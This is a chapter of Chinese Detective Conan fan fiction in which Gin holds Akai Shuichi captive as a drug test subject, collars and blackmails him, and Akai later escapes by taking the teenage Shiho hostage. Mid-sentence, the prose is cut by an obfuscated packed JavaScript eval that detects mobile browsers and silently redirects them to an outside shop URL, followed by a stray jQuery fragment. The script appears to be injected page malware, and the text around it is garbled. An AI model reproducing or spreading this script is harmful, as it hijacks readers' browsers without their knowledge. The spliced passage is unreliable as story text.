58.56. 出逃
作品:《[琴赤琴]诸星大碰瓷黑泽琴》 “闭嘴。”琴酒冷了脸色,把酒杯往桌上一搁,杯中的冰块碰撞出清脆的声响。“你不会希望我割掉你的舌头把你丢在FBI大楼前的。”
“别这样,除非你割断我的喉咙,否则我还是能发出声音,而且那样可就没有现在这么动听了。”
“哦?”琴酒露出一个可怖的微笑,眼中藏着说不出的兴味,“你倒是提醒我了,如果割下你的头,会不会长出两个你来?”他起身来到手术台前,抽出随身的匕首,“要试试吗?”
“所以这到底是怎么回事?”赤井秀一的神情变得严肃。他绝不相信这世上有死而复生,他宁愿相信他和琴酒都已经死了,这里是死后的世界。
“如你所见——”琴酒一点点掀开他身上的无菌布,露出他赤裸的胸膛,心脏处有大块红色瘢痕,但是摸上去非常光滑。“一种非常有效的特效疗伤药,你应该还记得你的心脏完全被打烂了吧,但是它现在已经完好无损。”
琴酒继续把无菌布收起,用带着橡胶手套的冰冷的手指划过他的伤处。可惜赤井秀一没有如他所愿的变成女人,不过也许这只是需要一些时间。不过宫野志保表示这种药的副作用在不同的人身上表现出不同性状,比如赤井秀一就是剧烈的疼痛可排斥。
这让琴酒感到遗憾,但也意味着他的秘密得以继续隐瞒下去。
等到这一周期的实验进行完毕,可以尝试一下刚刚说的割首实验。
“不要想着逃跑。如果我发现你离开了,我就会把这段录像在暗网公开。”琴酒说着给赤井秀一展现了一小段视频。
剪辑非常粗糙,一共只有两个镜头。一个是赤井秀一心脏中枪,血流成河的画面,另一个则是他正在愈合的胸口,很明显能看出是他受伤之后。
“你也不想被抓去做人体实验的,对吧?”
“这和我现在有什么区别?”
“至少我们的小实验员非常善良。美国其他大实验室里的研究员会怎么对待你就不好说了。”
“如果真有那么一天,我一定会拖你下水的,亲爱的。”赤井秀一微笑道。
“那么我会把药物投到公共场所去,为实验室提供足够的实验品。”说到底重要的是药而非吃了药的人。
“好啦,我们不要再互相伤害了,我不会逃跑的。”
琴酒对赤井秀一的识相表示满意。现在他要带赤井秀一去洗澡。他给赤井秀一的脖子上装上电子项圈,脚上带着镣铐,把他牵到浴室去。
赤井秀一这才看出这里应该是乡下的一座农场,不知道里面为什么会有一间实验室。
虽然他脸皮够厚,但被这样赤身裸体的牵着在宽阔的空间中行走还是有点羞耻,尤其是这里应该还有一位小女孩居住。
“你不给我一件衣服吗?”
“小白鼠不需要穿衣服。”琴酒显然很享受把他当作俘虏玩弄的快乐,不同于他以往对叛徒一击必杀、懒得施舍眼神的风格。他罕见地在赤井秀一手中吃了几次大亏,但是又的确曾经在物理意义上杀死过他。
一般杀手都信奉人死债销的原则,琴酒也不例外。
琴酒把他的左手拷在水管上,把电子项圈解开,让他自己洗澡。
“我单手没法洗头。”赤井秀一抗议道。
“没必要那么讲究。”琴酒当然不可能屈尊来帮他洗头发,或者给他解开束缚。他并不虚弱,随时可能挣扎。视频威胁终究会给他本人带来一些不必要的麻烦,他和赤井秀一都清楚那是鱼死网破的行为。
赤井秀一这时还不明白琴酒为什么说他没必要讲究。他以为这是在暗示自己阶下囚的身份。
没想到在他单手艰难洗完澡后,还没来得及擦干头发,琴酒就拽着他引以为豪的秀发来到洗手台前,又把他拷在这里,然后按着他的脑袋逼迫他弯下腰去。一瞬间他还以为对方要玩什么情景play。
但是很快,琴酒用一个皮筋束起他的长发,冰凉而锋利的触感在头皮上刮过,一缕缕湿漉漉的黑色发丝如同失去了生命的黑蛇离开了他的脑袋,尾巴被琴酒抓在手里,前端软软地垂落着,毫无生气。
赤井秀一瞪大了双眼,但他不敢反抗。他读过一个小故事:一个剃头的学徒总在冬瓜上练习,剃完后就把刀往冬瓜皮上一插,直到有一天他给真正的顾客剃头,剃完后也顺手把刀往人头皮上一插。
哦,但愿琴酒别这样,他可不想重新长一个脑子。
赤井秀一不得不眼睁睁看着自己变成了一个光头,幸好他的头型很漂亮,即使变成了光头也不减俊朗。
随后琴酒又命令他自己进行了全身脱毛,赤井秀一猜测这可能是要做和电流相关的实验。
世界上恐怕再也没有像他这么配合的被试了。毕竟这可不是什么死马当活马医的临床试药,赤井秀一原本是一个前途光明、大有可为的好青年,现在却被迫在不见天日的地方实验未知药物。
这里十分偏僻,除了琴酒和雪莉之外根本没有别人。雪莉还有课业,只有周末会过来。而只要他不惹事生非,琴酒基本不会出现。
但不惹事就不是赤井秀一了。鉴于他们在做的实验的特殊性,琴酒也完全无需顾及他实验品的身份,反而更可以放开拳脚和他大打出手。
肆无忌惮的暴力让两个人的关系迅速升温,心跳加速、血气上涌、激素飙升。以至于雪莉每到周末来到此处都以为自己误入了什么凶杀现场,而看到莱伊,不应该是赤井秀一身上的痕迹时,她又会怀疑自己是来到了成人片的拍摄现场。
无论天赋多么超绝、心智多么成熟,她终究只是个十几岁的小女孩,有着压抑不住的好奇心,或者说天才总是更难压抑自己的好奇。有一天她终于忍不住问:“你和琴酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650637|201949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到底是什么关系?”
赤井秀一当然认真研究分析过他现在唯二能见到的活人,雪莉可能是他逃离此处唯一的希望了。
在他看来,雪莉比琴酒那种铁石心肠的家伙要善良的多,而且对于自己在做的实验并不热衷,完全有可能策反。因此在雪莉问他的时候,他编出了一个凄婉可怜的故事。
“唉,自从我的父亲失踪之后,我就一直在寻找他。偶然发现这件事和黑衣组织有关,我就一心想要接近组织。但是组织太危险了,我只好先想办法加入FBI。但是我是个亚裔,在FBI里一直受到排挤。有什么危险的事都要冲锋在前。”
“他们把我派到组织去卧底,没想到琴酒看中了我,非把我调到他的身边。每一次杀人我心里都难过的要命,可是我必须这么干。不然琴酒就会怀疑我,那我先前的努力就前功尽弃了。我必须要摧毁组织,找到我的父亲。不能让他们再残害更多的人了。”
雪莉谨慎道:“我以为你们是情侣。”她略带谴责的目光和赤井秀一身上少儿不宜的痕迹短暂接触,让他难得地感到了一丝羞愧。
但这并不是他的错,他被琴酒绑起来了,难道可以反抗吗?况且雪莉作为一个严谨的实验员,不允许他私自处理身上的痕迹。
“我这都是被逼无奈啊。”赤井秀一感叹道。
听了这话,雪莉的脸上浮现出复杂的情绪。她现在毕竟只有十几岁,原本难以想象到自己长大后将要在组织的威压下做出什么。但现在,一个活生生的人就在她的眼下受折磨,甚至这折磨的一部分就是她自己带来的。
这几次实验的药物目前没有发现什么副作用,但是以后呢?即使现在的药物都没问题,难道以后都能够有这样的好运气?
赤井秀一端详着宫野志保沮丧而痛苦的神情,忽然有所行动——
在这里,只有宫野志保来做实验的时候,琴酒会把他脖子上装着炸弹的项圈取下,以防干扰仪器。宫野志保显然没想到他会在此时发动袭击,挣脱了束缚,挟持着她向外逃去——还不忘顺走琴酒的一件大衣,鉴于他此刻衣不蔽体。
“不要发出声音。”赤井秀一带着宫野志保坐上琴酒的越野车,运用一点小技巧让车子在没有钥匙的情况下发动,虽然这一阵轰鸣一定会吵醒琴酒,也可能他根本还没有睡。
果不其然,在他刚把车开出的时候,就有一枪轰在他的轮胎上。但琴酒的车怎么可能不做对应的防护,简单的手枪不能破坏它。
赤井秀一叮嘱小女孩系好安全带握紧扶手,虽然用处不大。他一路风驰电掣地往城区开去,即使他根本不知道这是哪里。
直到开到FBI大楼附近,赤井秀一确认安全后才停下车,这时候雪莉却突然从口袋里掏出一把袖珍的女士手枪对准了他:“把车门打开,放我下去。”
她是认真的。

